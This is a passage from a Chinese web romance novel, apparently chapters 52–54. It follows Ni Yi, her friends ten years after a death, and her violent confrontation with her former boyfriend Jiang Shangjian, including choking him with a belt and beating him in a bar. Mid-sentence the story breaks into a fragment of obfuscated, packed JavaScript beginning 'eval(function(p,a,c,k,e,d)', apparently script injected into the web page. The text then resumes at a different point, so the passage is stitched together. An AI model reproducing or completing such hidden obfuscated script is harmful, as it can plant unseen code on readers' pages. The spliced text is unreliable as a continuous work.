八月八日,林愈合睁不开眼睛,但眼角泪珠时不时滚落。 八月九日,林愈合呼吸渐渐衰弱。 八月十日上午十点整,林愈合终于落气了。 刘湖岐居然没有很悲伤,只觉得她终于解脱了,她太痛苦了,她去了以后再也不会这么痛苦了。 丧事遵从林愈合心愿,火化了就好,不要让别人知道。 她遗愿不是情情爱爱,她只想多晒几日太阳。 倪旖好像没几年就将林愈合遗忘,只是在后来的生活中,看到某个东西会想念那段整整齐齐的日子。 恍惚几天,倪旖得知徐浣若转到普通病房,便唆使弟弟进病房送个果篮。 倪箴满脸不爽,拎着果篮喋喋不休骂了一路,还因为姐姐被疯女人扇巴掌而介怀,连同那疯女人的女儿都不待见,光是想想就很烦躁。 而且,他特老觉得被窥视,特别扭,就想逃离。 “乖!”倪旖心没那么狠,毕竟徐浣若也是受害者。 “下次再让我干这样的事情,我跟你绝交!”倪箴将郁闷掩饰,面无表情进去一趟,将果篮放下就准备走。 病房里六个人,倪箴一眼就看到靠墙最里面的女孩,瘦成一小坨。 “今天我生日,十八岁。” 背对身影突然说话。 倪箴当做没听见,吝啬得连一句客套话“生日快乐”都不想说。 徐浣若盯着瓷砖反射的阴影,抽泣得发抖。 徐浣若脑袋里翻涌各种各样的自嘲的话。 想到倪箴在暑假补课班给她搞怪似的写了一顿不算祝福的祝福字。 嗨,十八岁的徐浣若。 如果我能够,我一定会抱住角落的你,哪怕只有一微秒。 总以为十八岁太远,至少十座山距离,现在啊,抬起脚尖往前迈了一小步,就走到了成年。要是你像我一般中二,你估计早就想好了要烂醉来度过那一日,这是个连身份证都牢记的年龄,要好好庆祝一番。 徐浣若牢记每一个字,不断拼接重组。 她也曾期待成年获得自由那天。 可是真到那天,早上是千篇一律的鸡蛋小米粥,中午仍旧是那一碟糖藕片,晚上那碗不加葱的阳春面,比平时好一点的事,那碗面里妈妈加了一个煎蛋。 十八岁啊,只是个数字,和过去十七岁以及未来十九岁没什么不同。 总觉得生日蛋糕俗气,但随着上面的红蜡烛一个一个的多起来,整个蛋糕都不好看了。但十七岁,倪箴送的插蜡烛的小杯子蛋糕就让她开心一整晚 徐浣若好难过,长大的代价太大了,她承担不起。 可徐浣若分明没长大,她还是她,没有什么明显的变化,个子没长高,心智没变成熟,脑子也没变聪明。不懂得压抑自己的难过,不懂得什么收敛自己的喜欢,连为赋新词强说愁的坏习惯都改不掉。 徐浣若窃喜还没长大呢。 总有些青春文学里说,遇到一个男孩子会陪你长大。十六岁之前的你对此嗤之以鼻,心里想:这不是天上掉下个“林妹妹”的大好事儿吗?能掉我身上。没想到十七岁岁的你就活生生地被人摁在地上,拿鞋板子抽脸,这一打脸就持续到十八岁岁,并且有延续下去的势头。 也许一辈子都忘不掉了。 徐浣若心脏灌了冰水似的痛。 妈妈的一巴掌直接扇掉了她女儿的小欢喜。 时间很快流逝,从巨变之时开始,十年歘一下就过去了。 53.出轨 倪旖只是大致了解朋友们情况,大家都很忙。 甄凝,18,准高三生,车祸去世。 刘湖岐,28,公安大学犯罪心理专业本硕博,现市警局犯罪顾问。 丁戈晖,27,燕兆大学结构生物学,后出国前往普林斯顿大学读研博。 徐浣若,26,颐今大学会计专业毕业,本科毕业入职普华永道。 何遽,28,放弃高考,回归田园专职写作,有几本加印20版的书籍。 林愈合,17,因食道癌去世自动放弃颐今大学金融专业入校资格。 谢灵桓,29,颐今大学医学部本博,后哈佛医学院读博后,主攻食道肿瘤。 丁索隐,28,燕兆大学天文专业本科,后去加州大学读硕博。 其中着重表扬丁索隐同学,和于探碛先生最近准备婚礼。 早秋的晚风,海与天倒置,像是一大片青蓝色的大海,无数颗碎星块被扔落在夜空中,像是紫银色水母往上涌,透明带着梦幻感。 倪旖迎着有些凉意的秋风,风划过脸颊,吹乱她的发梢,压低了声音,用只有两个人听得见的音量,轻声问:“你跟谁结婚?谁?” 于探碛鄙夷看一眼后视镜,咀嚼口香糖,抬手摘了白口罩,突然微仰下巴骂了句操,尾音耷拉着,像是也懂得牛顿第三定律,轻哑的声线,瞬间消散在风里,顺着滚动的喉结吞咽,黄昏光下他的喉结很明显。 他那头深棕色的卷发就是他对这个世界最后的抗议,左耳的银耳钉,依旧拽拽的,晖光一射,特别亮。 路灯光昏暗下,倪旖头发被吹得些许凌乱,细腰上裹着件紧窄端庄的复古绿裙子,精致性感,收紧的腰部线条感极强,像法国电影里优雅的油画感,用手可以触摸的质感。 “前面那位脏话哥。”丁索隐钻车里把门锁上,抬右手搂住倪旖的肩,侧额贴着她的颅顶,轻轻吻了一下她的额。 “不是,你们还联系呢?”倪旖扶额好一顿思索,愣是没找出破绽。 “我毕业后死缠烂打十年,总算追到,他后来在英国博士后流动站工作,但烈女怕缠郎嘛,总算今年确定关系,泡到他。”丁索隐眼里的艰辛都快跳出来。 “于老师,你不道德。”倪旖开玩笑。 “不道德就不道德,老婆孩子热炕头更重要。”于探碛嘚瑟开车。 “我都毕业十年,跟他早就没师生关系,而且他在我毕业后也出国,不龌龊,他要真龌龊还轮得到我死缠十年嘛。”丁索隐不喜欢倪旖的玩笑。 热浪褪去大半,秋老虎也不管用,标志性建筑间玻璃长廊混合城市的灯火璀璨,各色流光溢彩的宝石像是被中了五百万的暴发户撒在地上,丝毫不吝啬。 倪旖闻言,扫视一眼丁索隐肚子,食指戳戳:“有宝宝了?” “三个月,还没显怀。”丁索隐眼里满是母亲般慈爱怜惜,温柔揉揉肚皮。 “于老师,你干这事不别扭?”倪旖俯下身听听她肚皮动静。 “你肚子有动静嘛?”丁索隐快速将话题转移,浓情蜜意偷瞥一眼孩爸。 “哈?”倪旖难以置信,随后拨浪鼓似的快速否认,“我跟谁有啊?” “丁越青啊。”丁索隐顺手接过前排准老公的茶杯喝一小口热水。 “我这辈子都不会自己生宝宝,我怕痛,还脾气暴躁,教育不来小孩子,家里一个小虫草就够我烦了!”倪旖光是提到这个话题就很恐惧。 “小虫草等会儿要下幼儿园了吧?”于探碛还给小朋友准备了一铁盒糖果。 “他知道要当爸爸后就特别喜欢小孩子。”丁索隐笑得羞涩。 “等会儿顺路接他一块吃饭,幼崽连续两天快四点才睡觉,小脑瓜不懂有啥心事,因为她妈妈还没熬猝死吗?”倪旖用手往外翻一下眼眶周围黑眼圈皮肤,着实欲哭无泪。 “三岁小男孩就那样皮得欠揍。”于探碛比较向往这样有宝宝的生活状态。 “于老师喜欢男孩还是女孩啊?”倪旖摸摸丁索隐肚皮。 “都行,还有七个月就跟宝宝见面,好期待啊。”于探碛眼里满是期待。 倪旖转身找了个毛绒玩偶抱怀里休息,她累得要死,嘟囔:“好伟大的父母啊,我就不行,丁越青抱个孩子回家那瞬间,我就想死,没办法,小虫草她妈天主教不许堕胎,人也难产去世,这后妈我非当不可。” “白捡个大儿子,多好,还是个小混血,可漂亮。”于探碛想到小虫草那精致小脸就很喜欢,这也是在国外经常跟倪旖视频通话的主要原因。 “要不是他长得好看,我的大掌早就轻柔抚摸他屁股无数次。”倪旖嘴上嫌弃可无痛有儿子还挺好玩的,又看一眼丁索隐,“你喜欢于老师哪里啊?” “刚怀孕情绪上我有点讨厌他了,讨厌这个家,讨厌天花板讨厌电视机,因为很怕痛,但好喜欢他刷到小孩视频那种憨笑,喜欢他让我吃这个吃那个补充营养,喜欢他逢人高兴地宣布他要当爸爸了,喜欢他给我买维生素ABCDEFJ,喜欢他安排我的早餐晚餐午餐,喜欢他在我难受的时候带我去医院……” 丁索隐掰着手指头细细数老公的好。 于探碛被钓得翘嘴,还贱贱地装作谦虚而嫌弃道:“知道我好,还对我那么糟糕,总欺负我。” 丁索隐也不说话了,哼一声,嘟囔:“我哪里有欺负你?” “昨晚炖的莲藕排骨汤,老婆你过来尝了一小块,说有点咸啦,让我去下楼买玉米馒头,一回到家,老婆你就给我剩下汤,让我沾馒头吃!” 于探碛那语气根本就不是数缺点,明显就是逗着玩。 “呵,还不是老公你就煮了俩人份的,给你留个汤就不错了。”丁索隐噘嘴就撒娇道,笑得傻傻的。 “下次我多煮一点,馋猫似的,那么一小会儿时间吃完了,不怕噎着?” “怕你跟我抢嘛!” …… 倪旖都懒得听凌虐狗的甜蜜话。 她鸡皮疙瘩都要掉下来。 肉麻死了。 这些年,丁越青对她挺不错的。 但是,丁越青对她好,只是他对他的妻子这个角色好,他的教养使他承担对家人的责任,任何女人达到这个位置他都会如此。 十年相处说不上貌合神离,也算相敬如宾,不然倪旖也不至于还是个处。 倪旖无视他出轨,默许他买/春,替他出面收拾纠缠勒索的情人…… 她只是在回报丁越青的善意,有他挡着,没男人搭讪来浪费她时间。 倪总那时候筛选的最终联姻对象并不是丁越青,是个高官后代,红得发紫那种。 倪旖拒绝了,她总觉得蒋商鉴会回来的。 如果一定要结婚,那就找竹马哥丁越青,至少他会给予绝对自由。 那时,如果蒋商鉴不来,至少她的理想长存着,爱丽丝有她的仙境。 她习惯了丁越青的陪伴,但只有在孤独之中她才能听见自己的心跳。 她无时无刻不在思念着蒋商鉴。 冥冥之中,倪旖总感觉被盯梢,那商场假人模特,那酒吧面具美鸭,那嘴欠学术邮件笔友,那普吉岛贱兔子偶…… 倪旖巴掌大的脸贴在玻璃窗上,五官极好,皮肤白皙,锁骨随着车的浮动一动一动的,头发乖巧地躲在腰间,浅蓝色小设计衬衫,还有复古绿裙,却更衬独属学生的干净气质。 “倪旖,怎么感觉你十年都没变过,看着还是个学生样。”于探碛就见倪旖满脸不情愿贴着玻璃窗,软软的脸颊肉就被挤得扁扁。 倪旖嫌烦,将剪的齐刘海梳上去,用牛仔蓝夹子夹着,光滑圆满的额,像婴儿奶嗝。 于探碛见她脸色发白,往后递给她一排巧克力。 “果然要当了爸爸的人就很不一样,好细心。”倪旖盯着那排巧克力感慨。 “你肯定不认真学习,没被摧残啊。”于探碛嘴巴里吐不出象牙。 “去你的!” 前方十字路口跳红灯,车辆就停着。 倪旖突然皱眉,定定地瞧着一眼远处那搂着女友的男生,眼睛里有一团暗藏的火焰,正在缓缓地压抑着,马上就要迸发出来的感觉。 丁索隐察觉气氛不对劲,也将目光定格在远处那人,偷偷观察着倪旖。 那男孩斜靠墙,嘴里咬了根晦暗不定的烟,眼睑向下,懒懒耷拉着,神色闲散又淡,藏着桀骜感,五官硬朗利落,身材高瘦挺拔,一身黑冲锋服也没敛住他的轻狂傲慢。 蒋商鉴果然在国外学会滥情陋习,变得坏得不能再坏。 倪旖脑中困倦感终于完全消散,这才放下揉着眼睛的手,掀开眼皮朝着声源看了过去。 “没事,我们走。”倪旖冷冷道。 “余情未了啊?”于探碛也发现情况不简单,赶忙缓解气氛。 当时倪旖恋情闹得轰轰烈烈,身边朋友多少了解一些。 倪旖冷脸拨通电话,目不转睛瞅着那笑闹着的男人,耳里传来微弱震动声。 那一瞬间,她回想到假扮微信文件助手贪婪地窥视他。 他每天都发视频日记。 倪旖有时候都觉得他是暴露癖。 不过,跟她这个偷窥癖简直是天生一对。 2018年10月13日。 早上阳光照进屋子,蒋商鉴困得朦朦胧胧。 懒散爬起来洗漱,顺手怼着手机开始拍脸,手指纤细白皙,微微蜷缩在镜头前。 镜头一转,窗外那拿骚楼Nassau Hall稳稳地立在那儿。 这是1756年就有的老古董,米黄色外墙配上白色窗框、廊柱,屋顶八角穹顶在太阳下闪着光。 正面大钟一到整点就响,那钟声,感觉能把学校的历史都给你敲出来。 镜头里蒋商鉴叼着一块面包说出门去生物系博士后站点,他路过麦克考什厅(McCosh Hall)。 这哥特式建筑就像从画里走出来的,深灰色石墙,上面雕着花里胡哨的动植物图案,还有那些代表学术智慧的神秘符号,尖拱形窗户镶着彩色玻璃,阳光一照,地上光影乱晃。 到了站点,蒋商鉴先去瞅细胞培养箱。 正盯着呢,同事马特走过来,蒋商鉴笑着跟他说:“Matt,the cells are looking on fleek today.We''re gonna have a smooth run.”(马特,今天细胞状态超棒,肯定顺顺利利。) 马特乐呵地回:“You bet!I got all the gear ready to roll.”(那肯定!我把家伙事儿都准备好了。) 蒋商鉴小心拿出培养皿,放在尼康倒置显微镜下观察,边看边用镜头记录。 “今天主要搞合成分子生物研究。”蒋商鉴用中文喃喃自语。 蒋商鉴在通风橱前穿戴好纯白实验服大褂,准备合成有靶向功能的核酸适配体。 他拿起Eppendorf移液器,量取50μL的Tris-HCl缓冲液,再加入10μL氯化镁溶液。 这时候,旁边的艾米丽凑过来,瞅着他手里的试剂说:“Hey,are you sure you''re not mixing a magic potion?”(嘿,你确定你不是在调魔法药水?) 蒋商鉴笑着回她:“Well,this is our secret sauce for cracking the biological code.”(这可是我们破解生物密码的秘密武器。) 接着,蒋商鉴加入DNA模板和Taq DNA聚合酶,然后把反应液一股脑放进Bio-Rad PCR扩增仪,设置好程序。 过程中,马特路过问他:“Need a hand?I''m a whiz at this PCR thing.”(要帮忙不?我对这PCR可在行了。) 蒋商鉴回他:“Nah,I''m good for now.But don''t be a stranger if I get in a jam.”(不用,暂时还行。要是我卡壳了,可别见外。) 中午和同事去校园湖边长椅吃饭,对面就是费恩楼Fine Hall,那现代简约风的白色外墙就像涂满耶稣的骨骼液体。 正吃着,马特突然说:“I heard some math whiz in Fine Hall cooked up a crazy new theory.”(我听说费恩楼里有个数学大神搞出了个超牛的新理论。) 蒋商鉴指腹摩挲银叉搅拌意面番茄通心粉,接话道:“No kidding?That place is like a brain factory.”(不是开玩笑吧?那地方就像个智慧工厂。) 下午在朱厄特楼Jewett Hall开组会,这乔治亚风格建筑,红棕色砖墙配白线条,一进去,木地板和天花板暖烘烘的,墙上挂着学校大佬的画像。 蒋商鉴将手机摆在演讲台,把上午实验数据投影出来讲解,讲完台下组长史密斯博士问:“So,what''s your game plan based on these results?”(那根据这些结果,你的计划是什么?) 蒋商鉴将镜头翻转,后淡淡说:“I''m gonna dig deeper with functional assays to prove the aptamers are the real deal.”(我打算深入做功能测定,证明这些适配体是真有料。) 忙一天回公寓,他对镜头收拾下桌面,轻声说:“sweetie,今天就到这儿啦,晚安。” 倪旖回想蒋商鉴视频日记,就好像他通过这个手段说:sweetie,我每天都很想你。 倪旖想到蒋商鉴跟她谈对象时时时刻刻背英语口语词汇。 原来倪旖一开始就不在他未来生活的计划里嘛? 他那边背阴,天很暗,一片灰色,背影高大挺拔,被昏暗微黄余晖光线割碎,沉默,未见一丝天光。 “喂?是倪旖啊,有什么事嘛?”那人说话语调毫无起伏,顺着听筒更显冰冷,尾音总不自觉勾着,自带挑衅意味。 让人听着就很想顺手机过去跟他干一架。 倪旖讽刺道:“今儿九月初,咱俩亲情包还有一千分钟没用呢。你就把手机这么开着,该谈就谈对象,咱不能便宜了中国移动。” “你在周围?”那男的说。 “是啊。”倪旖回复得漫不经心,只是眼里满是渴望,望梅止渴那种饥渴难耐。 “那你为什么没来找我?”男的扯着淡淡笑意。 “我不想让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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漂亮而愚蠢的人大多幸福,倪旖现在显然算不得幸福,因为她既没聪明到看得开,也没愚蠢到看不见。 跟小刀似的路见不平一声吼,倪旖就看不上他那贱样子,见一次打一次。 “吃醋啦?”那人语调微扬,随后慵懒躺坐在沙发外摆椅上,很冷漠地用左手背挡了嘴,嘴唇在无名指戒指上缓慢来回蹭着,一副厌倦而又无所谓的样子。 “……”倪旖想所谓痛打落水狗,说的就是自己现在这个境况吧,事事不如人,非得爱找茬,看他就不爽。 蒋商鉴面前那性感婆娘侧坐,乌黑长发用一根黑实木簪子绾在脑后,下面露出一截白得晃眼的细颈。 鱼尾裙贴着臀,将腰身掐得纤细,侧腰处软得凹下去,倪旖眯着眼能看见布料下凸起软玉似的胯骨。 那女人抬手细细嘬一口奶茶,抿唇时微微一笑狐媚得很,那明艳大气长相就招人爱,她微微一动,浅蓝色裙摆便似海水一般在她脚踝处摇晃。 倪旖真没法忍,两条街就算隔着马路连车辆都不算,瞬间安静下来。 压抑厚重的气氛似一团缠绕不清的透明清雾弥漫在三人之间。 “老学长,”倪旖显然被气得不轻,浑身冒热气,莹亮汗珠一颗颗顺着脸颊不停往修长脖颈上滚,“……打个招呼就回来。” 这哪是老同学见面啊,这是旧情难忘天雷动地火吧! 于探碛不便插手,就旁观者吃瓜。 丁索隐稍微客套型拦了一下。 不是同种人根本就睡不了一个被窝,夫妻俩就吃瓜呢 “放心,有分寸,”倪旖笑笑,“不会弄死,弄残倒是不一定。” “……” 倪旖把拖累人东西一股脑全都丢给她,自己单枪匹马一麾出守。 于探碛深知媳妇尿性,把车往最佳观影露天停车位一停 丁索隐瞅着边上有卖甘蔗的,随意使唤老公要一根边吃边看戏,手腕挂着一塑料袋甜到爆表的甘蔗段。 虽是余晖温柔,微微燥热随着太阳西沉逐渐平息,倪旖那张好看的脸可能被这绿油油场面冻硬了,薄唇紧抿,皮肤冷白,薄情寡义的味道扑面而来。 倪旖随意坐在度假躺椅上,玩着墨绿修身裙子的宽窄腰带牢牢绑着,依然没站起身,而是朝着蒋商鉴钩钩手指:“过来。” 蒋商鉴没动。 “我他妈叫你过来,你丫那黄金屁股,没法屈尊降贵坐一坐?”倪旖跟他讲话都带个妈,跟知道他缺母爱似的。 蒋商鉴狭长眼尾微微垂下,瞳孔倒映倪旖二十年不变的青涩脸庞。 倪旖懒得再请他,撇头将战火往边引一些,一副正派作风淡淡瞥道:“我该怎么称呼你啊,嫂子还是姐啊?” 那女人被说得难堪至极。 “无所谓,”倪旖一顿,颇有语言艺术,充分发挥文明与礼仪道,“叫嫂子你俩一家,叫姐我俩一家。” “……”女人仔细抠着裙子。 “算了,”倪旖懒散撑着侧额,眸都带点冷意,“谁家嫂子不一定呢?叫姐,我怕委屈了自个儿。” 蒋商鉴斜斜靠墙壁上拢着一点火,凑近点燃唇角那支烟,烟雾缭绕间连眼神也朦胧,敛了敛睫。 “你们男人是不是觉得谈女朋友多显得能耐啊?”倪旖满口雅言,用指尖揉了揉额头,觉得神经都痛。 “你还挺懂?”蒋商鉴不相上下。 倪旖嘲弄地轻轻扯一下嘴角,抬眸时眼里都带讥讽,半笑不笑道:“不才辅修水产养殖,最会的就是斑马鱼繁殖,看过不少。” “……”蒋商鉴将烟头摁灭,一副吃饭被噎住要死不活的模样,瞥见她那样小书包小布袋挂件那字:淡泊明志,宁静致远。 倪旖再次勾勾指尖,连话都不说。 太阳缓慢西落,阳光渐渐倾斜着照射,蒋商鉴僵直着背,屈膝半蹲在她面前,橙黄亮光落在他笔直坚韧脊背上。 倪旖顶着一张送葬脸,沿着墙线在屋里环视一周,垂眸笑笑,猛地将腰带扣他脖颈处,感受他微微一颤。 蒋商鉴处变不惊,俯在她耳边,语气宠溺,用气音说话:“乖啊,晚上我给你搞字母圈的。” 蒋商鉴纯白衬衣汗得湿透,紧紧贴在腰侧腹前,在余晖微醺光线下,可以清楚地看到一层薄薄的肌肉线条。 倪旖闻言瞥了他一眼,那表情就像在说:“你这放的哪门子屁?” 倪旖抬手搂住蒋商鉴脖子,斜一双秋水眼瞟人,慢慢收紧深绿女款腰带。 他脸色也慢慢收紧,从浅粉,到微红,再到涨紫。 倪旖抿嘴笑,微微向他一歪脑袋。 蒋商鉴头脑昏沉得仿佛塞满了湿棉絮,锁住喉结气管,心脏震跳加速,仿佛有铁皮鼓在胸腔里擂动,很不好受。 倪旖笑得娇憨,含糊回道:“是不是国外太安全了?” 蒋商鉴脸色愈来愈深,灌血似的。 他的让步和妥协,就像狮子懒散打了个盹,并没削减任何攻击性。 晚风扬起刘海,露出额头如玉,倪旖不说话,脸上笑意渐渐加深,深到极致之时,竟然笑成个狰狞面目。 蒋商鉴瞳孔渐渐黯淡,随着圈心朝里骤然紧缩,倪旖不再是十年前窝他怀里依赖的那软绵绵一小只,也不再会吵着要他陪着游泳钓小螃蟹玩,走路上不再走路颠颠的、走到一半发现男朋友没跟上来,着急停下来回头找他。 倪旖再也不会牵着他的手。 蒋商鉴一直觉着倪旖是那种喜欢亲昵感的女孩,其实她是只猫。 一受威胁,就扬着爪子呼你脸。 倪旖见状收回腰带,缓缓系上。 周边耳鸣散去,心跳声渐渐平缓,像一颗黯淡星逐渐燃着。 54.勾引 “说话。”倪旖这意思很明显,给老娘解释解释。 “让我先呼吸两口气。”蒋商鉴咳嗽几声,猛地呼吸,就算再活一次,也是懒散不正经,一边戏谑道,“乖巧,但屡教不改可不好。” 那女人吓得脸色发白,就纳闷,得多瞎的眼睛,才能在倪旖身上看出“乖巧”来? “你俩还有微信呢?”倪旖开始转移战火,眯着眼睛随意系腰带,“我跟他认识十几年,微信还是前几年才加上的,你们这才几天。” 那女人吓得几乎魂魄都飘了。 她不想招惹倪旖这个富家小姐。 是的,谁不知道,倪家这位小姐不好惹。 倪旖余光中注意她目光,还得要点脸,笑得诡邪,特没感情说:“我他妈爱怎么着怎么着,你管不着。” “……”蒋商鉴胸腔笑得直发颤,声音微微哑,唇角带着散漫的笑意,慢条斯理地开口道:“……微信总共才出来几年?还有,我记得我们第一次见就交换联系方式,sweetie还真健忘啊。” “……”倪旖盯着他看了几秒,冲他缓缓伸出一根中指,然后仓促滚回去继续跟蒋商鉴暗暗对峙。 蒋商鉴懒散靠度假躺椅上,微躬着腰,手肘撑在大腿上,透着一股浪荡痞劲,真的坏骨子里,烂得跌泥里。 周围女生个个把视线往他身上瞟,坏是坏,但真的很帅。 蒋商鉴开了一罐碳酸饮料,仰头喝了一口,喉结缓缓滚动,冰凉修长指尖特不正经勾上她细细肩带,揉捏着。 “起开,摸哪儿呢?”倪旖嘴碎脾气暴躁,“吃不完还得打包是吧?当我煲仔饭国潮外卖顺手配送的廉价蛋汤啊” 蒋商鉴单手撑额,挠挠鬓角处。 “……”倪旖觉着她快把这辈子鸡皮疙瘩都抖落,缓慢从兜里掏出五元钱攥着他碳酸饮料罐子往下放。 蒋商鉴拿那罐可乐碰了碰倪旖的胳膊,瞬间刺人冰凉从她胳膊迅速而细枝末节地传递到心脏去。 “请我喝的?真懂事。”蒋商鉴笑得懒散寡淡,眉眼透着一点邪气。 路人面露恐惧,心道,大哥你真瞎,这典型电鳗成了精,见人就放高压电。 倪旖疯癫,这是毋庸置疑的。 “……”倪旖侧脸不屑,耳后有细碎的头发掉到前面,拂脸颊有点儿痒,她刚想伸手勾到耳朵,一只手更快一步将她的碎发勾到耳后。 蒋商鉴倚凳子靠背上,模样慵懒,有一搭没一搭地转着手里的笔,语调懒洋洋的,大度道:“不客气。” 蒋商鉴刚从裤袋里摸出一根烟,一会儿功夫,不经意地掀起眼皮一看。 倪旖攥着他烟,那手指捏着的烟立刻被掰成两段,烟丝弯曲绕着指尖,淡淡讽刺道:“我谢你了?” 蒋商鉴点头一笑:“我勉为其难可以意会一下。” 倪旖没辙,非得将脾气平摊给周边人,冲着那吃瓜拍照的性感妞骂道:“滚吧,还不滚,坐着干什么呀?看戏没看够啊?” 她不想吵架的,但这女的她曾在高尔夫草坪见过。 那女的是某家二流公司老总的私人舞蹈团副团长,那团特不正经。 蒋商鉴要是找个正经姑娘还行,非找个,哎呦—— “那钱是我的……嫖资。”倪旖目光钉他身上,咬牙切齿,说完她拔腿就跑,风呼呼地裹在耳边。 身后传来一声很轻的笑声,蒋商鉴语调慵懒:“神不神秘!刺不刺激!好妹妹~啊~来啊~再来啊~” “……”倪旖觉得脸皮还是太薄,这孽畜为何变得这般神通广大? 蒋商鉴恢复原来淡漠表情,跟那女人解释:“别理她,今晚有空?” 丁索隐这回是真被吓到,惊吓程度还不轻,具体表现在她脚丫子,本来因为旁观捉小三尴尬而动来动去,直接把共享电瓶车不小心给踹了。 打招呼……是这样的吗? 丁索隐都怀疑人生。 倪旖牙齿咬得咯吱咯吱的,远远回馈蒋商鉴大白眼,撂下手机用丁索隐衣袖擦擦手。 “……”丁索隐有点近视眼,不是瞎,拿她干净衣裳擦擦手? 蒋商鉴皮囊很完美,白皙皮肤,眼窝微微凹陷着,由于常年不做人,故而目光也是格外……忧郁动人。 倪旖坐车里越想越憋气,她光顾着嘴毒,还没完全出气。 还得再打一次。 操! 于探碛瞅一眼后视镜,声音小得可怜道:“要不,等等?我们不吃晚饭?” 倪旖瞪一眼,淡淡道:“放心。” 这情况,是个人都不会放心。 于探碛还想婉拒,便听更炸裂的话。 安慰于老师肉眼可见的恐慌,倪旖抬起眼,按捺着火气,非常体贴地再补了句:“您别担心。” “……” “我尽量不在您车上杀人的。” “……”于探碛沉默。 “快走。”丁索隐偏头催促老公,想赶紧带暴躁症患者远离刺激源。 那么静,那么静的空间。 倪旖听见她心脏遽速跳动,听见她急促呼吸。 话还没听人说完,倪旖暴跳如雷,将刚戴上手臂的表链一股脑撸下,往边上一躲,一不小心就摔下车面。 都来不及嫌丢人,倪旖连滚带爬,手撑在地面上站起来,三步并两步跨台阶往上,最后几个台阶压根都没踩,直接跳下去,墨绿小裙被身侧的风带得吹起。 “老公,你快拦着点,我得看好宝宝。”丁索隐着急抬头看。 于探碛往远处看,电梯门缝里瞧见倪旖,想说的话太多,可是时间紧迫,急忙喊:“倪旖!” 电梯里立着个拖把,大概是清洁工收拾完卫生忘记带走。倪旖顺手抄过,抬脚踩拖把头上,手上发力,直接将木棍整根抽了出来。 倪旖扭头看着老友:“等我十分钟,敢过来搅水,打完他,我就来揍你俩。” 只来得及看上一眼,那道缝已经关得严严实实,电梯带着她往下降。 于探碛慌忙等电梯去拉架,心想,这女孩还是这么拽,性格一点没变,路子野得要命。 暗色装修风格,古典大理石瓷砖上向外蔓延,倒映着光,隔着玻璃感应门还能听到歌声,火辣辣的情歌。 她很多年前经常来这酒吧给丁越青捧场子的。 倪旖把棍子一撂,怕前台起疑心,白天几乎没客,都集中下班后,她准备去那少爷专用泡妞包厢揍人,还没走两步,酒吧内光线昏沉。 前台拦着点人:“这是邀请制,有邀请函吗?或者会员号。” “那我就直说啊,”倪旖很礼貌笑笑,前台妹还傻傻点头,说,请说,还没意识到严重性,很温和道,“你把手给我撒开啊。” 前台脸色苍白,捧碰着刺头,哪敢松手放人进去嚯嚯会员贵公子。 倪旖瞥一眼被拉住的臂,用征求意见语气道:“那我把你肩膀拧断啦?” “不不不。”前台妹果断撒手,及时认怂求饶,刚碰着她小臂,就很有力气的感觉。 蒋商鉴半倚桌沿,整个人懒散背对吧台,脑袋稍侧,似是跟调酒师说话,身材挺直而高大,此时微微弓着身子,也比旁边的调酒师高一节。 蒋商鉴斜靠墙壁,外套松垮,侧脸线条凌厉分明,那猪蹄还放女生腰上,手掌不轻不重摩挲了一下。 滋味教人战栗,女生娇哝一声,整个人缴械投降躺靠在他怀里。 蒋商鉴笑笑,紧而凑在女生耳边低语,放浪形骸。 倪旖瞅着男盗女娼就气,随后侧过身,毫无征兆用尽全力往他脸上揍一拳。 毫不客气,没半点收敛。 顺着莫名重力道,蒋商鉴直接推开高脚凳往后退了几步,觉得半张脸都没了知觉,像是被火烧,带着麻意。 蒋商鉴眼眸含笑,唇角淡扯,略显玩世不恭,随意用指腹蹭了蹭稍稍裂开带着血渍的唇角,笑了:“真吃醋?” “你有病?”倪旖没半点开玩笑意思,眼神凌厉,略带警告,“蒋商鉴!” 听着她斩钉截铁说着“蒋商鉴”两个字,着实悲凉。 “心疼别人?”蒋商鉴桀骜不恭笑着,闲闲道,“那你换上?” “什么品种的泰迪?痒了找个电线杆玩去。”倪旖嘴很毒,顺带瞅着刚才那错愕的女人。 倪旖嘲讽般地笑了声,火气半点没消,直接怼脸开大:“这就是矜持?” 那性感女人垂眸有点窘迫。 倪旖伸手拽住蒋商鉴衣领,重重往下扯,抬起膝盖,往他的腹部顶:“我看你他妈是疯了。” 力道极重,蒋商鉴好似没疼痛细胞,唇角一直上弯着:“宝贝儿,看着地儿揍,破了相谁心疼?” “……”倪旖气得胃疼,又往他脸上揍了一拳,“你脸还在?” 再次单方面殴打,到最后,倪旖也没了劲,靠墙上喘着气:“妈的!停战,休息一会儿。” 蒋商鉴嘴里全是血腥味,往旁边拉出手绢,朝上面将血水擦擦,顶上彩色转盘灯拉过,脸上是暧昧的五颜六色。 倪旖十年没半点长进,真是可恨,小嘴犟得叭叭的,顺风她就浪,逆风她道歉,在挨打的边缘反复试探。 落了几道痕迹在他脸上,脸颊白皙细腻,只是颧骨处略微红,破了唇角,以及脸上青紫色痕迹……若干。 半晌后,倪旖依旧不爽,猛地抬起手,毫无预兆地碰了下他小腹位置。 这突如其来的触碰所导致的酸疼,让蒋商鉴生理反应弯着腰,不似原来欠揍模样,甚至稍微退了一步,表情也有轻微的变化。 “顺遂你意,估计对你而言,跟挠痒痒似的,就当松筋正骨。”倪旖甚是满意,慢条斯理道,“不过,我倒挺后悔,打完我手疼。” “……”蒋商鉴白一眼,“幸亏你生理性别为女。” 蒋商鉴语气像是在敷衍,懒懒的,听起来冷冰冰又欠揍,他已经十年都没挨过倪旖打,所以被抽完后,倒有些追忆似水年华的心情。 倪旖表情顿时僵一下,红晕在她颊上淡淡漾开,倏忽间已是恼怒愠红,忍了半天,终于毫无诗意地爆出粗口:“去你妈的混账王八蛋!赶紧给我滚吧!” 那女人微愣,愣在一边,不知情况如何,只是观望。 “说你呢。”蒋商鉴冷冷一瞥。 那女人转头就走,气愤至极,她今天莫名被拉着约会,还以为一见钟情,看来他就是玩。 他未曾真切将她看入眼底,包括方才他那一瞥,那女人觉得他的眼底是空旷的,就好像掠过一个路人。 有谁会留意路人长什么样? 蒋商鉴似乎很疲倦,近了瞧眼眶是深陷的,眼周阴影很深,双眼皮被倦意扯宽,像个瘾君子。 “……”倪旖瞅着他不要脸模样,不想跟着丢人现眼,攥着他衣袖将人往外拽,想威胁警告一次。 蒋商鉴眼睫动了动,从他这角度,只能看到倪旖略微凌乱的发丝,以及低垂着的睫毛,喉结上下滑动。 倪旖倒是性子泼辣,带劲儿,可不是什么善类。 